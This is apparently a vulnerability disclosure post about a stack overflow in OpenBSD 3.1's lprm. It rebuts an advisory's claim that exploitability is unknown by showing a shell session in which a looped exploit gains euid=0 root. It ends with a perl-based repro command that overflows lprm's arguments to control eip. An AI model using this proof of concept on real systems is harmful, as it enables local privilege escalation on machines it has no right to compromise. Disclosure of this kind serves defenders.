> A bounds check that was added to lprm in 1996 does its checking too > late to be effective. Because of the insufficient check, it may > be possible for a local user to exploit lprm to gain elevated > privileges. It is not know at this time whether or not the bug is > actually exploitable. a real funny stack overflow! if you got a valid printer setup its instant root! there is nothing "potential" about this, it is uid=0 ;pPp bash-2.05a$ id uid=1000(noir) gid=10(users) groups=10(users) bash-2.05a$ while `test .`; do ./lprm_ex; done lp: unknown printer Segmentation fault lp: unknown printer Segmentation fault lp: unknown printer Segmentation fault lp: unknown printer # id uid=1000(noir) euid=0(root) gid=10(users) egid=1(daemon) groups=10(users) # uname -a OpenBSD kernfu 3.1 conf#0 i386 # to repro: lprm -Pvalid_printer_name `perl -e 'print "A"x512'` `perl -e 'print "A"x518'` this shall get you eip = 0x41414141
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